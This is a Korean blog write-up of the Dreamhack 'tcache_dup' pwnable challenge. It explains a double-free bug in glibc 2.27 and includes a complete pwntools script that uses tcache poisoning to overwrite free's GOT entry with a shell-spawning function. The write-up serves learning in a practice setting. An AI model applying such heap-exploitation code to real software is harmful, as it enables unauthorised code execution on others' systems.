오늘은 Tcache_dup 문제에 대한 write-up을 작성해보겠습니다.
https://dreamhack.io/wargame/challenges/60
로그인 | Dreamhack
dreamhack.io
해당 홈페이지에서 문제를 다운로드 받으실 수 있습니다.
먼저 checksec으로 보안설정을 확인해보겠습니다.

부분적으로 RELRO가 설정되어 있고, PIE는 설정되어 있지 않습니다.
RELRO가 켜져 있지 않으므로 Hook Overwrite가 가능합니다.
문제 코드는 조금 길어가지고 부분적으로만 확인해보겠습니다.
int main() {
int idx;
int cnt = 0;
initialize();
while (1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
메인함수입니다. Create와 Delete라는 보기가 있으며, 각각의 함수들을 호출합니다
int create(int cnt) {
int size;
if (cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if (!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
create입니다. 사용자에게 요청 받은 사이즈의 크기만큼의 힙 메모리를 할당하고, 메모리 주소를 ptr 배열에 저장하고, 데이터를 입력받습니다.
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if (idx > 10) {
return -1;
}
free(ptr[idx]);
}
delete입니다. 사용자에게 인덱스값을 입력 받고, 해당 공간에 저장된 메모리 주소의 동적 메모리를 할당합니다. 이때 해당 문제에서 libc-2.27버전을 사용하고 기존 해제 여부를 확인하지 않기 때문에 double free bug가 발생합니다.
void get_shell() {
system("/bin/sh");
}
쉘을 실행하는 get_shell 함수입니다.
문제가 생각보다 쉬운데 익스플로잇 설계를 해보겠습니다.
1. PIE가 꺼져있기 때문에 free의 got 주소를 쉽게 알아낼 수 있습니다.
2. Tcache dup을 통해서 free의 got에 get_shell의 주소를 써넣습니다. (hook overwrite)
3. delete 함수를 실행시켜 free를 실행시켜 쉘을 획득합니다.
익스플로잇을 작성해보겠습니다.
from pwn import*
r = remote("hosts", port)
libc = ELF('./libc-2.27.so')
e = ELF('./tcache_dup')
r은 서버 접속
libc는 라이브러리 내 free의 got 주소를 얻기 위해서
e는 get_shell의 주소를 얻기 위해 지정해줬습니다.
def create(size, data):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'Size: ', str(size).encode())
r.sendafter(b": ", data)
def delete(idx):
r.sendlineafter(b"> ", b'2')
r.sendlineafter(b": ", str(idx).encode())
여기서 살짝 난항을 겪었는데, sendafter는 줄바꿈을 보내지 않고, sendlineafter는 줄바꿈 문자를 포함해서 보냅니다.
sendafter는 read처럼 정해진 크기만큼 읽는 함수에 데이터를 보낼 때 사용하고,
sendlineafter는 scanf와 같이 줄바꿈을 입력의 끝으로 인식하는 함수 대상으로 데이터를 보낼때 사용합니다.
scanf("%d", &size);
read(0, ptr[cnt], size);
c코드에서 create함수에서 값을 읽을 때 size는 scanf로 읽고 data는 read로 읽으므로, 처음에는 sendlineafter을 사용하고, 그 뒤에 data를 보낼때는 sendafter로 보내는 것입니다.
create(0x10, b'AAAAAAAA')
delete(0)
delete(0)
double free bug를 발생시키는 포인트입니다.
이때 free list에는 idx0번이 두번 들어가게 됩니다.
create(0x10, p64(e.got['free']))
create(0x10, b'B'*8)
create(0x10, p64(e.symbols['get_shell']))
공격 포인트입니다. 해당 코드는 Tcache Poisoning 기법을 사용했습니다,.
첫번째 create는 아까 AAAAAAAA를 써넣었던 청크 A가 할당되고 free의 데이터에 got 주소가 써지게 됩니다.
이때 Tcache 리스트에는 Double Free때문에 아직 청크 A를 가리키고 있습니다. 이때 청크 A의 fd 포인터 값이 e.got['free']로 덮어집니다.
두번째 create에도 malloc은 청크 A를 반환합니다. 이때 malloc은 Tcache리스트의 다음 헤더를 청크 A의 fd포인터 값인 free의 got주소값으로 갱신하게 됩니다.
마지막 create는 청크가 아닌 청크로 위장한 free의 got 주소가 불러와지게 됩니다.
이때 got의 메모리 주소에 get_shell의 주소값을 써 got overwrite가 완성되게 됩니다.(hook overwrite)
delete(0)
마지막으로 delete를 통해 free를 호출함으로 get_shell 함수가 실행되게 됩니다.
실행해주면

이렇게 flag를 획득가능합니다!
이상으로 write-up 작성을 마치겠습니다.
읽어주셔서 감사합니다~
'취약점분석 > Pwnable' 카테고리의 다른 글
| [Pwnable] Format String Bug (0) | 2025.11.10 |
|---|---|
| [Pwnable]Tcache_dup2 write-up (0) | 2025.11.09 |
| [Pwnable] tcache_dup (0) | 2025.11.07 |
| [Pwnable] tcache_poison write-up (0) | 2025.11.06 |
| [Pwnable] Tcache Poisoning (0) | 2025.11.05 |